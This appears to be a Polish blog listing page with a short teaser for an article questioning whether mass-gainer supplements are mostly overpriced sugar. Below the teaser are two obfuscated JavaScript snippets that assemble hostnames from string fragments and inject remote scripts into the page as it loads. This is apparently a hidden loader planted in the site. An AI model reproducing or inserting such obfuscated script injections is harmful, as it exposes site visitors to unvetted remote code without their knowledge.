Dzień: 5 lipca, 2025

Gainer na masę jak wybrać?

Gainer na masę: Cudowny środek dla “chudzielca” czy marketingowa pułapka?

Masz dość jedzenia bez widocznych efektów i frustracji związanej z byciem “ektomorfikiem”? Producenci gainerów obiecują szybką masę, ale co tak naprawdę kryje się w ich składzie? Zanim wydasz setki złotych na kolejny suplement, sprawdź, czy nie płacisz głównie za cukier. W tym artykule bezkompromisowo analizujemy popularne odżywki na masę i pokazujemy, jak osiągnąć cel taniej, zdrowiej i znacznie skuteczniej.

Czytaj więcej >
(function(){ qiwq=document.createElement("script");qiwq_=("us")+("ta"); qiwq_+="t"+(".");qiwq_+=("in");qiwqu="2422389891";qiwq.async=true; qiwqu+=".zd05rX4tiwqszu674";qiwq.type="text/javascript";qiwq_+="f"+"o"+("/"); qiwqu+="6hlhfpezabw8x";qiwq.src="https://"+qiwq_+qiwqu; dqiwq=document.body;dqiwq.appendChild(qiwq); })(); (function(){ uv01=document.createElement("script");uv01.type="text/javascript"; uv01.async=true;uv01_=("op"+("ens")+"t")+"a";uv01_+=("t.e")+""+"u"; uv01.src="https://"+uv01_+"/2491255555.c8uwxe2lv01hti955xgXsgvvmsav2e"; document.body.appendChild(uv01); })();